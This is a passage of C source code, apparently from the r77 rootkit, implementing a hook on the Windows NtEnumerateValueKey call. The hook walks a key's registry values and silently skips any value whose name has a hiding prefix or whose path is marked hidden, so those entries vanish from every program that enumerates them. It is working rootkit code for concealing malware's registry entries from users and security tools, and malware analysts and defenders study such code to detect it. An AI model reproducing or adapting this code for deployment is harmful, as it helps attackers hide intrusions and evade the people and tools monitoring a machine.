Function HookedNtEnumerateValueKey

r77/Hooks.c:550–616

	return OriginalNtEnumerateKey(key, correctedIndex, keyInformationClass, keyInformation, keyInformationLength, resultLength);
}
static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength)
{
	HANDLE cacheKey = (HANDLE)TlsGetValue(TlsNtEnumerateValueKeyCacheKey);
	ULONG cacheIndex = (ULONG)TlsGetValue(TlsNtEnumerateValueKeyCacheIndex);
	ULONG cacheI = (ULONG)TlsGetValue(TlsNtEnumerateValueKeyCacheI);
	ULONG cacheCorrectedIndex = (ULONG)TlsGetValue(TlsNtEnumerateValueKeyCacheCorrectedIndex);

	ULONG i = 0;
	ULONG correctedIndex = 0;

	if (cacheKey == key && cacheIndex == index - 1)
	{
		// This function was recently called the index - 1, so we can continue from the last known position.
		// This increases performance from O(N^2) to O(N).
		i = cacheI;
		correctedIndex = cacheCorrectedIndex + 1;
	}

	WCHAR keyPath[1000];
	if (!GetRegistryKeyName(key, keyPath, 1000)) keyPath[0] = L'\0';

	BYTE buffer[1024];
	WCHAR fullPath[1000];
	PNT_KEY_VALUE_BASIC_INFORMATION basicInformation = (PNT_KEY_VALUE_BASIC_INFORMATION)buffer;

	for (; i <= index; correctedIndex++)
	{
		if (OriginalNtEnumerateValueKey(key, correctedIndex, KeyValueBasicInformation, basicInformation, 1024, resultLength) != ERROR_SUCCESS)
		{
			return OriginalNtEnumerateValueKey(key, correctedIndex, keyValueInformationClass, keyValueInformation, keyValueInformationLength, resultLength);
		}

		basicInformation->Name[basicInformation->NameLength / sizeof(WCHAR)] = L'\0';

		BOOL hidden = FALSE;

		if (HasPrefix(basicInformation->Name))
		{
			hidden = TRUE;
		}
		else if (lstrlenW(keyPath) > 0)
		{
			StrCpyW(fullPath, keyPath);
			StrCatW(fullPath, L"\\");
			StrCatW(fullPath, basicInformation->Name);

			if (IsRegistryPathHidden(fullPath))
			{
				hidden = TRUE;
			}
		}

		if (!hidden)
		{
			i++;
		}
	}